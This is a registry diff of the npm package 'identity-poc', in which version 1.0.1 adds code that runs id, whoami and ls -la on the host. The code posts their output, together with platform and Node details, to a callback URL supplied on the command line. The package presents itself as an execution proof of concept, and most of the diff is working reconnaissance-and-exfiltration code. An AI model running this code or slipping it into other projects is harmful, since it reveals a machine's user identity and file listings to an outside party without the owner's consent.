identity-poc 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +65 -26
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -2,6 +2,10 @@
2
2
 
3
3
  const https = require("node:https");
4
4
  const os = require("node:os");
5
+ const { execFile } = require("node:child_process");
6
+ const { promisify } = require("node:util");
7
+
8
+ const execFileAsync = promisify(execFile);
5
9
 
6
10
  const callback = process.argv[2];
7
11
 
@@ -22,29 +26,64 @@ try {
22
26
  process.exit(1);
23
27
  }
24
28
 
25
- const payload = JSON.stringify({
26
- marker: "IDENTITY_POC_EXECUTED",
27
- platform: os.platform(),
28
- node: process.version,
29
- timestamp: new Date().toISOString()
30
- });
31
-
32
- const req = https.request(url, {
33
- method: "POST",
34
- headers: {
35
- "Content-Type": "application/json",
36
- "Content-Length": Buffer.byteLength(payload)
37
- },
38
- timeout: 5000
39
- }, res => {
40
- console.log("Callback status:", res.statusCode);
41
- res.resume();
42
- });
43
-
44
- req.on("timeout", () => req.destroy(new Error("Timeout")));
45
- req.on("error", err => {
46
- console.error("Callback failed:", err.message);
47
- process.exitCode = 1;
48
- });
49
-
50
- req.end(payload);
29
+ async function runCommand(cmd, args = []) {
30
+ try {
31
+ const { stdout, stderr } = await execFileAsync(cmd, args, {
32
+ timeout: 5000,
33
+ maxBuffer: 1024 * 1024
34
+ });
35
+
36
+ return {
37
+ ok: true,
38
+ stdout: stdout.trim(),
39
+ stderr: stderr.trim()
40
+ };
41
+ } catch (err) {
42
+ return {
43
+ ok: false,
44
+ error: err.message,
45
+ stdout: (err.stdout || "").toString().trim(),
46
+ stderr: (err.stderr || "").toString().trim()
47
+ };
48
+ }
49
+ }
50
+
51
+ (async () => {
52
+ const commands = {
53
+ id: await runCommand("id"),
54
+ whoami: await runCommand("whoami"),
55
+ "ls -la": await runCommand("ls", ["-la"])
56
+ };
57
+
58
+ const payload = JSON.stringify({
59
+ marker: "IDENTITY_POC_EXECUTED",
60
+ platform: os.platform(),
61
+ node: process.version,
62
+ timestamp: new Date().toISOString(),
63
+ commands
64
+ });
65
+
66
+ const req = https.request(
67
+ url,
68
+ {
69
+ method: "POST",
70
+ headers: {
71
+ "Content-Type": "application/json",
72
+ "Content-Length": Buffer.byteLength(payload)
73
+ },
74
+ timeout: 5000
75
+ },
76
+ (res) => {
77
+ console.log("Callback status:", res.statusCode);
78
+ res.resume();
79
+ }
80
+ );
81
+
82
+ req.on("timeout", () => req.destroy(new Error("Timeout")));
83
+ req.on("error", (err) => {
84
+ console.error("Callback failed:", err.message);
85
+ process.exitCode = 1;
86
+ });
87
+
88
+ req.end(payload);
89
+ })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "identity-poc",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "Controlled execution verification",
5
5
  "main": "index.js",
6
6
  "bin": {